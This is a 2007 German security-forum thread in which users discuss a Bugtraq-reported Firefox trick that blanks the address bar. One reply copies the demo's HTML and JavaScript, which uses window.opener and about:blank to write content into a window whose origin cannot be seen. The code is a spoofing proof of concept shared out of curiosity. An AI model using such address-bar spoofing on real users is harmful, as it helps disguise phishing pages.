[HaBo]

ERit · 17.02.07, 14:39

hej
hab folgenden eintrag heute in der bugtraq mailing liste gefunden:

http://seclists.org/bugtraq/2007/Feb/0323.html
http://lcamtuf.coredump.cx/ffblank/

im 2ten link befinden sich 3 buttons. der obere "löscht" die url leiste, also den inhalt. weis jemand von euch wie man das programmiertechnisch realisiert? ich fang damit ja sowieso nichts an, rein aus interesse.
lg

Eydeet · 17.02.07, 17:11

Das kann man doch alles aus dem Quellcode der Seite auslesen:

Du brauchst eine präparierte HTML-Datei, die in der Demonstration so aussieht:

Code:

<html>
<head>
</head>

<body onload="newwin()">
<script>
var nwin;

function newwin() {
  nwin = window.opener;
  nwin.location = 'about:blank';
  setTimeout('changewin()',300);
}

function changewin() {
  var x = nwin.document.createTextNode('Now, where did that page come from?');
  nwin.document.title = 'a mystery!';
  nwin.document.body.appendChild(x);
  close();
}

</script>

Der Trick funktioniert allerdings nur, wenn die Seite in einem Popup aufgerufen wird:

Code:

<script language="JavaScript">
function simple_demo() {
  var lame = open('');
  var nwin = lame.window.open('test2.html');
}
</script>

<input type=button onclick="simple_demo()" value="Open mystery window now">

Anzeige

- Anzeige -

ERit · 18.02.07, 16:26

hm danke erstmal. ich hab im quelltext nachgesehen, aber leider im falschen

naja was soll man dazu noch sagen

hm ja ganz interessant, aber eigentlich sehr einfach. also bug in dem sinn ist das ja keiner.
noch was fallt mir gerade auf: im geöffneten fenster kann man den source auch nicht ansehen, also außer ein paar tags ist da nichts zu sehen.

Eydeet · 18.02.07, 17:17

Das ist ja gerade der Trick bei dem Trick

Du kannst dir nur den Quellcode von about:blank anschauen, aber nicht den der Seite. Das funktioniert nur, wenn du die Adresse direkt eintippst: http://lcamtuf.coredump.cx/ffblank/simple_demo.html

Anzeige

- Anzeige -

17.02.07, 14:39	#1 (permalink)
ERit Registriert seit: 31.03.05 Likes: 0	Firefox Adressleiste "löschen" Anzeige hej hab folgenden eintrag heute in der bugtraq mailing liste gefunden: http://seclists.org/bugtraq/2007/Feb/0323.html http://lcamtuf.coredump.cx/ffblank/ im 2ten link befinden sich 3 buttons. der obere "löscht" die url leiste, also den inhalt. weis jemand von euch wie man das programmiertechnisch realisiert? ich fang damit ja sowieso nichts an, rein aus interesse. lg

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Ansicht
Linear-Darstellung Zur Hybrid-Darstellung wechseln Zur Baum-Darstellung wechseln

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
@ Firefox 1.5.0.9	raz0r	Die Problemzone	2	06.02.07 11:48
Firefox	Nicmon	Internet Allgemein	8	05.02.07 20:52
Programm über Adressleiste steuern? (c++)	Avenger	Code Kitchen	3	05.06.06 21:31
Adressleiste im Internet Explorer	dead_guy	Windows	1	30.03.04 13:53
Wie kann ich das Pulldown Menü der Adressleiste löschen?	Tommy77	Applikationen	2	08.02.04 16:15

18.02.07, 16:26	#3 (permalink)
ERit Themenstarter Registriert seit: 31.03.05 Likes: 0	hm danke erstmal. ich hab im quelltext nachgesehen, aber leider im falschen naja was soll man dazu noch sagen hm ja ganz interessant, aber eigentlich sehr einfach. also bug in dem sinn ist das ja keiner. noch was fallt mir gerade auf: im geöffneten fenster kann man den source auch nicht ansehen, also außer ein paar tags ist da nichts zu sehen.

18.02.07, 17:17	#4 (permalink)
Eydeet Registriert seit: 14.04.06 Likes: 4	Das ist ja gerade der Trick bei dem Trick Du kannst dir nur den Quellcode von about:blank anschauen, aber nicht den der Seite. Das funktioniert nur, wenn du die Adresse direkt eintippst: http://lcamtuf.coredump.cx/ffblank/simple_demo.html

[HaBo]

Firefox Adressleiste "löschen"